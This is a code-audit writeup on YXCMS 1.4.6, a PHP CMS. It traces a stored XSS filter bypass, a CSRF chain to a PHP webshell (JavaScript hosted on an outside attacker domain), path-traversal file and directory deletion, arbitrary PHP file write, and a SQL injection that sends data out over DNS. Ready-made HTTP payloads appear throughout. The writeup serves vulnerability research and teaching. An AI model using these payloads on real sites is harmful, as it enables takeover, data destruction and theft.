Code Audit: YXCMS 1.4.6 Vulnerability Collection
Background
I had dug up a few YXCMS vulnerabilities before, mostly in the backend. A few days earlier a researcher posted on the Xianzhi forum about a stored XSS in the front-end combined with session fixation (see xianzhi.aliyun.com/forum/topic/2025, original link now dead) — different approach from mine. I used array parameters combined with a regex bypass to write arbitrary JS without limit on the front-end, then chained CSRF to drop a shell directly. This writeup collects that chain along with the backend issues I had accumulated (arbitrary file deletion, file write, SQL injection) — mostly for learning and discussion. Some of the backend bugs have limited practical value; the SQL injection, for instance, is redundant since the backend already exposes a SQL execution feature.
Official site:
http://www.yxcms.net/(no longer reachable; YXCMS is long unmaintained)
Stored XSS
Vulnerability Analysis
The vulnerable file is protected/apps/default/controller/columnController.php. The front-end guestbook goes through case 6, which calls the extend method. Lines 377-384 contain the key logic: the tableinfo field name of guestbook is used as the POST parameter name. If the value is an array, it gets split and passed through in() and deletehtml() in sequence; if it’s a string, it goes straight into html_in().
The tableinfo for guestbook is fetched from yx_extend. First YXCMS queries yx_sort for the extendid, then pulls the form definition with id='12' OR pid='12':
-- First: guestbook's extendid
SELECT id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid
FROM yx_sort WHERE ename='guestbook' LIMIT 1;
-- Then: form field definitions
SELECT id,tableinfo,name,type,defvalue FROM yx_extend
WHERE id='12' OR pid='12' ORDER BY pid,norder DESC;
My bypass exploits the “array → deletehtml” branch. Tracing into deletehtml (in protected/include/lib/common.function.php), the regex replacement strips <script> tags and any fully-closed <> tags, then html_entity_decode restores certain entities back to their original characters. So %26gt; (URL-encoded >) slips past the regex:
// deletehtml core logic (simplified)
// 1. Strip fully closed <script>...</script> and <tag>
// 2. html_entity_decode to restore entities
// Input: <script%26gt;alert(1)</script%26gt;
// → Step 1: no match (%26gt; is not a closing >)
// → Step 2: restored to <script>alert(1)</script>
// → Then in()'s htmlspecialchars entity-encodes it, but the structure survives intact

The output side lives in protected/apps/admin/controller/extendfieldController.php, in the guestbook list. Template rendering goes through cpTemplate::display → compile. The compiled template calls html_out, which in turn applies htmlspecialchars_decode, html_entity_decode, and stripslashes — three restores that exactly undo the entity encoding applied at insert time, returning the JS to its original form.
// protected/include/lib/common.function.php lines 126-131
function html_out($str){
$str = htmlspecialchars_decode($str);
$str = html_entity_decode($str);
$str = stripslashes($str);
return $str;
}

Reproduction
Pass the JS as an array (note tname[] — array form triggers the deletehtml branch):
POST /index.php?r=default/column/index&col=guestbook HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4vjcrvu6keqtmr9jj4d95kpaq0
tname[]=joe<script%26gt;alert(1)</script%26gt;&tel=18988888888&qq=balabalba&content=asdasdasd&checkcode=6857&__hash__=7c337b66d36c2cff79faaa48201ba66b_89efI8f3lBwpIQ%2BPtjlL52Ml4DFXLp5Fd0RAYVbXqSik2bsNwm1XYCE
The admin triggers the XSS by viewing the guestbook list:
GET /index.php?r=admin/extendfield/meslist&id=12 HTTP/1.1
Chaining CSRF for RCE
Since all filters are bypassed, arbitrary JS can be written. The Xianzhi writeup used a pseudo-XSS with session fixation; I went straight to XMLHttpRequest against the backend template-write endpoint (admin/set/tpadd). The JS reads the __hash__ token from the DOM and submits it, generating evil.php:
// evil.js (hosted on attacker's machine)
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("POST","/index.php?r=admin/set/tpadd&Mname=default",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
// code = URL-encoded <?php phpinfo(); ?>
xmlhttp1.send("filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__="+document.getElementsByName("__hash__")[0].content);
The front-end guestbook carries <script src=http://www.balabala.com/evil.js>. When the admin views the message, the browser fetches evil.js and fires the CSRF, which creates protected/apps/default/view/default/evil.php — shell dropped.
Arbitrary File and Directory Deletion
The flaw is in protected/apps/admin/controller/filesController.php lines 52-61. The file path $dirs concatenates in($_GET['fname']). Lines 57-59 then dispatch: if it’s a directory, call del_dir; if it’s a file, call unlink.
Tracing into in() (common.function.php lines 8-23), it only applies htmlspecialchars and addslashes — no handling of ../. Tracing into del_dir (lines 421-436), the logic recursively deletes every file inside the directory, then the directory itself. Once the path is controllable, that’s arbitrary file/directory deletion.

GET /index.php?r=admin/files/del&fname=,../1.txt HTTP/1.1
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
If the target is a directory, the entire directory gets emptied recursively and then removed — far more destructive than a single file delete.
Arbitrary File Deletion
A second, independent arbitrary file deletion lives in protected/apps/admin/controller/linkController.php lines 90-94. When editing a friendly link, if $_POST['oldpicture'] is non-empty, it’s concatenated with the upload path and passed straight to unlink — no sanitization at all, not even in().
Reproduction: in the backend, edit any link under “Content Management → Link List” and change the oldpicture parameter to the relative path of the target file (e.g. ../../test.txt). This one is more “naked” than the previous, but it requires backend access.
File Write Vulnerability
The tpadd method in protected/apps/admin/controller/setController.php (lines 140-161) calls file_put_contents directly. Both the filename and code parameters are unsanitized, and the extension is hardcoded to .php — effectively arbitrary PHP file write in the backend. The tpedit method in the same file has the same issue.

POST /index.php?r=admin/set/tpadd&Mname=default HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__=a68c4298ea89667cee4744db6ecba878_250cIYFldqtRr6mAExOK0F%2FLl0HqXu6HdtoIYL%2FaC4q4WyT3CzrTnNxz
After the write, visit http://127.0.0.1/protected/apps/default/view/default/evil.php to execute it.
SQL Injection
The flaw is in protected/apps/admin/controller/fragmentController.php lines 63-76. implode converts $_POST['delid'] into a string, which is then passed straight into the delete method. Tracing delete → _parseCondition → parseCondition (cpMysql.class.php lines 128-158): when the input is a string, it’s concatenated directly; when it’s an array, each element goes through escape (backed by mysql_real_escape_string).
// cpMysql.class.php parseCondition (simplified)
if (is_string($data)) {
// Concatenated directly into SQL, no escaping
$condition .= $data;
} elseif (is_array($data)) {
// Each element escaped, structure preserved
foreach ($data as $v) { $condition .= escape($v); }
}
But delid[] becomes a string after implode — bypassing the array branch’s escape. Add to that the fact that delid is a numeric context (WHERE id IN (...)), where mysql_real_escape_string is useless anyway, and the injection is wide open.

Reproduction: in the backend “Fragment List,” trigger a delete and replace delid[] with a subquery that exfiltrates data via DNSLog (this returns the database name yxcms):
POST /index.php?r=admin/fragment/del HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
delid%5B%5D=select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.8571e594.2m1.pw\\abc')))&__hash__=529fbedab8a7b8a3f3f5a0f394f51cf2_08ebfXTKPoKd0tX4iq+aFMwhq5QkkRGC/NfUu/Ny83+UmU8u0MoCIj8
Final Thoughts
YXCMS 1.4.6 is a microcosm of the typical flaws in 2010s-era Chinese PHP CMSes: self-contradictory sanitizers (strip then restore), path validation relying on addslashes as a “general-purpose cleaner” while ignoring ../, file-write endpoints trusting backend access blindly, and SQL filters that fail after data-shape conversion. Each bug in isolation looks like a “low-severity backend issue,” but the front-end guestbook stored XSS is the fuse that strings them all into a full anonymous RCE chain.
Looking back, the start of the chain is the symmetric “clean + restore” pair in deletehtml — the input side pretends to filter, the output side restores, and the two cancel out. Once a consistency gap exists, the attacker only needs to find one input that makes the two sides asymmetric (here, %26gt;) and the whole defense collapses. That’s the signal I look for most in code audits: wherever sanitization and restoration coexist, an asymmetric window almost certainly exists between them.
Note: YXCMS is long unmaintained and the official domain
yxcms.netis unreachable. This writeup is for historical audit review and technical learning only — do not test against systems you don’t own. The Xianzhi forum link (xianzhi.aliyun.com) is also dead.